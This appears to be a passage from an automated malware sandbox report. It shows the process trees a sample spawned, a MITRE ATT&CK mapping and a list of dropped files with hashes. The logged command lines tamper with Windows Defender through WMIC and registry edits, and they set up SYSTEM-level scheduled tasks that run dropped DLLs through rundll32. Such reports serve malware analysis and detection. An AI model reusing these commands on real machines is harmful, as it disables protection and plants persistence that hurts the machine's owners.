        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:4572
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\ZJLpXD.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:2816
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\gdHnUxb.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:6080
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "FPieTEPPuEmJrhC"
  2⤵
  PID:2204
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
  2⤵
  PID:5056
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\DlTNugv.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3152
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\TLDqPpV.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4196
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\WPGykcN.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2392
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\AgEyDDm.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5780
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "rrqYunoktxOQmCoCX" /SC once /ST 14:05:01 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\lbyxwKwk\BAvVfFB.dll\",#1 /DdidLCIi 385118" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:3048
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "rrqYunoktxOQmCoCX"
  2⤵
  PID:4912
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
  2⤵
  PID:5548

C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\mBKmrsD.exe
C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\mBKmrsD.exe GH /vFqZdidaM 385118 /S
1⤵
PID:4596
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:4912
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:2524
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:5240
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5556
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:6068
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:1800
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:2284
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:3768
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:5592
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5056
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:4968
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:4240
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:3248
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:4180
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:5908
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5424
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:2336
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
  2⤵
  PID:5328
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:2888
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:4336
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:4360
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5556
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:2076
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\ATiRCh.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:2096
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\KdGCvWK.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5304
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "FPieTEPPuEmJrhC"
  2⤵
  PID:5172
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
  2⤵
  PID:5044
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\rJqNOPn.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1736
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\atQjUZF.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4208
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\lqCFrPh.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4748
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\LvRxtIv.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3388
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
  2⤵
  PID:4372

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:4612

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\lbyxwKwk\BAvVfFB.dll",#1 /DdidLCIi 385118
1⤵
PID:5968
- C:\Windows\SysWOW64\rundll32.exe
  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\lbyxwKwk\BAvVfFB.dll",#1 /DdidLCIi 385118
  2⤵
  PID:5460
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "rrqYunoktxOQmCoCX"
    3⤵
    PID:244

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

Filesize
2.0MB

MD5
7d9a74cc4cb41cacc594c5b482c07ca7

SHA1
ac468d3d62b3e9b982be3fc6710e7d858dfa0483

SHA256
68a6826e88b0da69cf4a28dccb380c23b5c3cea8790239bc7ec3dded34752f56

SHA512
9f5a925bc221e8d72da91879b54a8542501d8396c77c4103e2b70561dc3cecba930de8e773ff3b72ca676139c78644b1bce64d56ded8cf7571b0d2ce7a5f9778

Download Submit
C:\ProgramData\Are.docx

Filesize
11KB

MD5
a33e5b189842c5867f46566bdbf7a095

SHA1
e1c06359f6a76da90d19e8fd95e79c832edb3196

SHA256
5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

SHA512
f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

Download Submit
C:\ProgramData\mozglue.dll

Filesize
593KB

MD5
c8fd9be83bc728cc04beffafc2907fe9

SHA1
95ab9f701e0024cedfbd312bcfe4e726744c4f2e

SHA256
ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

SHA512
fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\es\messages.json

Filesize
151B

MD5
bd6b60b18aee6aaeb83b35c68fb48d88

SHA1
9b977a5fbf606d1104894e025e51ac28b56137c3

SHA256
b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

SHA512
3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
81f56e723c51c4a5d4cdadb9ebc011c5

SHA1
aa703ca50bbda1cbed25f817e7769a8d3b208de7

SHA256
005a67d1cd2568339bcd32a7af3f3485e781a73b8dbf903cc8ebd78ac68ba71e

SHA512
219c1f2282a848cd0d228a901913842857056e65caed7dd291e3a84c2bacf6bfe0c37e6b87742e9ab54e1d336dc591cda5c270718d98705272a8d8136c2b9b50

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
27KB

MD5
9ad6e093e03c5d2bd3df5e1f06898ab5

SHA1
ab63d4fcafa0778b31d165441941ee77df1c514e

SHA256
d3b37521c0b3bb9777608f2589acb9471d8eb188aaced517ce865ecf3788114e

SHA512
6dae17d4343de3646caac24e04a7ede822f8fae6299d91d99d87179bab37e5c61bb8c194a2e748f9e361a18b1caaf49c01b1de016589cb0fbfa5bd4e0d19673a

Download Submit
C:\Users\Admin\AppData\Local\L5Fy1O0xBzwtg838bjPQG5yL.exe

Filesize
4.2MB

MD5
d42f70bc211153abcc56b7b550d8f066

SHA1
2e79143fa90a058e56dad12920f2d450cc138098

SHA256
f1ad483fb40354a1d2c9f1b8ed46ae799fc67433af0a6ff0393c59939f752d4f

SHA512
c10085de5476de153204a08c7e66245fa729922f118f6a2567ec547097effe710c31d0f626aedae4af1a971e3594fd7cf2544d353168f931ed4ab9dc99f12c79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
1c19c16e21c97ed42d5beabc93391fc5

SHA1
8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

SHA256
1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

SHA512
7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
19KB

MD5
e968e757e6f6117e114a69783e58872e

SHA1
7fc3f82fca74ba4d6b7a03a3795736cbd431eb06

SHA256
65df83a85ca3db2340fedaabe33d92086bc49c30e6a44ae71dc6342309b82ae0

SHA512
61f88559995e643180e7b376abdca2dcb38ce486549f53542259ecfdbd60cda6d5a9277d7f70d5e0b061b81b2f91f05eef90b3abe9bb9867e3c2c7145e779902

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
19KB

MD5
3c6f15d96205e87cc8180f1271f7e17e

SHA1
da4e62e36567517cfd50297fbf737ca66e692970

SHA256
0f3089468b8ac6c41beda628296e6554ef89d2441d5ae48482208c30638a3fc2

SHA512
6caa6d14524624dba3340feae93ee889c1eac0deaaa1586ad42ee162933c57110bf8d4038b35e319c0304432c8edd9484bf900d40a9bddfbb855b57040215ce5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
788a5a5ed5b3cc630e885f962b43faf4

SHA1
3d2a6a465c128ae3ea0a654b84af97b7a01849fb

SHA256
39bc03a3159e1756bdaf9ba1ad127457c2c13a041cec5fd03a7e11d624b2ebc7

SHA512
c9bc04a00f536855437063931bb75f7a72e423c9f385fc8804a46ac3e0884c98f38cb01623d89a9e469316cb313d2f39c220b832ba5ca9dc6e5676e2d2c2529b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
653898bc5022dae14f72f12b5ec2ed58

SHA1
31ea6c54da348c6e6ff8bc2724d1474fbe1ca02a

SHA256
70d3ac441b496233b3e52e81db86379c2956331172d1a2e5126e222223ac2df8

SHA512
51d6e5681ef0c63a890abb2129753fb28d119fc116d91ee16f9db25846386d389301c4b90bedfac10d071354455e55fdc94eeffbe4ccfc22bc20a5a5bdb5a2a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
8f19da4b8b1c2181b910b3b0532618c6

SHA1
b7fd905fb3ff3651abcb5b8502a5585636aaad2b

SHA256
1c12e34ff459eb3ac909bffbd4e1222e33815a3148849ed57e49081b027f0e1b

SHA512
0a172d68e76b3f23a1c70045245a56be40614c15f6833576c486b58e18d216bd0c644a7d94c7a9c17faca368785054e314dc355ea66edd2e53ad85199892da5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS71B0.tmp\Install.exe

Filesize
2.5MB

MD5
013f1c216adefb544f5178d2101d759b

SHA1
264cbb49035b66ac0aba7404416a5c4e90c95277

SHA256
0d0d959f3171582f539ef6f01bc945aaa6b763856c4c39fb48cce203339a7be9

SHA512
07813bfd45fe3b4d7f9310f14d45feedb1fc1343121eb7f969f21e6a48c43c224a530bfd8d933e9b0fc4cb8e7c04485e56daa7d008281c25afeb31aea8e707d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS71B0.tmp\Install.exe

Filesize
1.2MB

MD5
15e218538abd732a085a52449312e610

SHA1
5ecde74c94c3fa62cf2190708f4f077b9d25a850

SHA256
20f31fe1d0eaf13ce55b02d5442c6c8a3d47a1776b0c096fcb3735a38ba3725b

SHA512
6e77502e5e443ccd2b77dcc2afe0ba790e615f8d1a51c90f7e0f7add426d4e2ef8941563e8b876f16317a4727d8af8b0efd9d46ce5d726b50e0357794b21e717

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS870D.tmp\CastSrv.exe

Filesize
90KB

MD5
926a9def76ad857825c435eaabd4a686

SHA1
b96e9857cba9fbca67d6cb9449b2218df4488517

SHA256
77a1f38aa476f33cf8295028c24d846caa6445efd8cfca9ca85cb020085b64c3

SHA512
e53f6d5ea7fd748615f8619abb3c77f635e4f7ad52873db19449e25407300cbd660533f2b2396a759c899f2f56e45f0686c4fcd430b580979cbb3a04547dd83b

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS870D.tmp\Info.xml

Filesize
3KB

MD5
0456be6047774e5d0b8045b787048924

SHA1
76f6445368a4462a50e502bc272a8efc2eb33cb0

SHA256
1c4440a8312e16bc682277164cc6710b37fc3dcac5ef9aa0ba7e77fc0c1f4897

SHA512
c0f0cf97e0fd0b258b9a9fa6466dd9e390cd79f3edb0f5b9f10137c241c6b079061135c44c0c30dc71c28f1b7b929c65eb1112761e53cd8400d7e07ce1a7b99c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS870D.tmp\Install.exe

Filesize
5.4MB

MD5
8d05ac7685f373f33a940a61243d975a

SHA1
d77eb96db44685ba2a51819abcfa84758270e94a

SHA256
f156c44b4790af1bab77e65d225f574a757819262b8a1fcdb9fe9e99a926a4f6

SHA512
96ca6f5654bfdb274c14d5781bb8c5a01205db2655e4e11147e542a0c3720e7c0dd4fdc03ae097ea520700e5c699d0057a1af97ca32b10640311827f620c979d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS870D.tmp\Install.exe

Filesize
2.7MB

MD5
560fd51c7abcb57a4ce01a3b26a64039

SHA1
2baff631fdf85905471371b1ae75ef235a22c1e0

SHA256
8fe5760f169f925002e6d52a4cf2afd92e548a8d10b8a4e49bfe9632f8e47880

SHA512
28555c3c51f8ee2c83673b767906f8cf96532f025b244bb5538274302c15b23fe9ad4d62ef6c23391c850923ab3108fe44b2e4f10b21daedc0c6cbda4c3dde9a

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS870D.tmp\Install.exe

Filesize
2.0MB

MD5
e1b5e01fee2cde925adc97a67caa8243

SHA1
8a2200fe73b86823115c7f0ae61e188e6a660bac

SHA256
ff4a332c3974a09216ebccde32ca1f2c14cb9b7271048918f7bf0132b9de68a0

SHA512
93ddb738adb5662c2c8bcd897bc6271f02e17511d38abd7bf6c9063ca49f07c72d3828b91154b751843198d945cf68c3f64516acbac883a352cf23e4ad198060

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS870D.tmp\Install.exe

Filesize
3.6MB

MD5
3fff2c7c58095415b71ee343a7aff3ca

SHA1
4acdf0c78a5c433bfd70a9facfe7dd665c1be0ee

SHA256
32270ecaf6cd3c3a9e12ba9f684b0a10c0cebf22e9fa19f1c6597c2577666c1e

SHA512
2a0f40e171df39b391afa3bb4e05237d4cec1aac41ea032d8a839d82b83ff65dd0f04d5e46239e5d06ff428a11aeb2405ccdcd6f54ce7f8735f92dadf1bba2d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wo3k0wte.i3r.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

Filesize
2KB

MD5
266ca6fe5e5e5bd4d19b99993e87d623

SHA1
7dcb55e724154124231f686a0a6245f55e24efb7

SHA256
8beb3ad95e5c400719f7d9a2498252ce8cb885080063851cf8e9b3e6ce72235a

SHA512
9c796840e2208a51735c166f19f65246f02ee6b35f187386a05b31f232cc9ef8e272afef01ad8614299a0ce92ee229d08c44746844caf08d601f1b49ae661f23

Download Submit
C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

Filesize
3KB

MD5
8345eea662863494c536dbcd4a8ea2f5

SHA1
327e66debfda319a2eeb526a9a5fa313e54a6303

SHA256
08bc3bfddb6f50d1117fd26069a75ab0d55ae1e5028d600e5e936ec1af903773

SHA512
499c05e4e228ca70331c84952e535f60ed02cc821138e3878725d22d752f924e6a4c03b8fdb79c5ee06070614bcfa20d91add8c2aaf1c30dc64d0e3cc8bc87f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\u1bc.0.exe

Filesize
282KB

MD5
f72e01dfb65e6409cb0fc611e466e9d5

SHA1
e3d9f9d5e531ea1537bbecbf8064c5772a3c4a26

SHA256
7eec5c68ccc964cae08684c73b65a0427623454286b253b4ee4453dc1aa93bbf

SHA512
7f47b5e7d997d923ca3d2a481bd8754b01c444c3be284b01e8577e58632bf1b69db87927e57079999e9ffc4dc1d50c45b68a5ce3b4ad58bdcf55d48acb9a87c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\u1bc.1.exe

Filesize
4.6MB

MD5
397926927bca55be4a77839b1c44de6e

SHA1
e10f3434ef3021c399dbba047832f02b3c898dbd

SHA256
4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

SHA512
cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

Download Submit
C:\Users\Admin\AppData\Local\jSkIRMlLdMtywFWyT6ePWJb8.exe

Filesize
2.7MB

MD5
df076f2d4965110a32826c97c73e230e

SHA1
17d7ee269661d36ec253c77f0e9391c0b42738e7

SHA256
4923aefbb4a15e98629e2163aa8b62aa5135710bee223f9141cb9898e2230512

SHA512
deb78e29ca079994d90a5ec0807e7785e132f621c1ad27cc3bdd626e88493db80a1b5f00a83aea18c2c2a9392e2bd69e9fb124da52bd8ef0c9c00515c90d85dd

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\prefs.js

Filesize
7KB

MD5
751fcce4a37be33acda7fd32b0c1f31c

SHA1
b48c52799d0cc46b7e07bfb59b9ba885442bcc75

SHA256
409aef2f64dbaa3b880bc911b1568750ccfcf1b08912565dbc0af9b06254595e

SHA512
e9ad38c6f669d71d11ee8145a7dc48111fa3c433bb0002b803b11dc35db77dfc90b8cf9353c6610ecb24be4a913a7d8a0025abef2159dd9a8066ef0814013a8c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\searchplugins\cdnsearch.xml

Filesize
1KB

MD5
2869f887319d49175ff94ec01e707508

SHA1
e9504ad5c1bcf31a2842ca2281fe993d220af4b8

SHA256
49dd61e19d4541f1e695b66847d0bf99bc08952ba41b33a69c2e297dfa282d15

SHA512
63673c1ede47fda14dea78483c6319132a849db3b35953e43704aa49cfb6d14e42d74e0eaf93f4cdb7632c85f368d484ac111687127d2b87a3e264949085c76b

Download Submit
C:\Users\Admin\Pictures\9WFaHgIZ0ljYHXWQkKzTSDHk.exe

Filesize
5.4MB

MD5
21689b8f7d68a1e59336ca9d52c7118e

SHA1
45bd3e605019b41c4b214dade8724cdb4fe807c3

SHA256
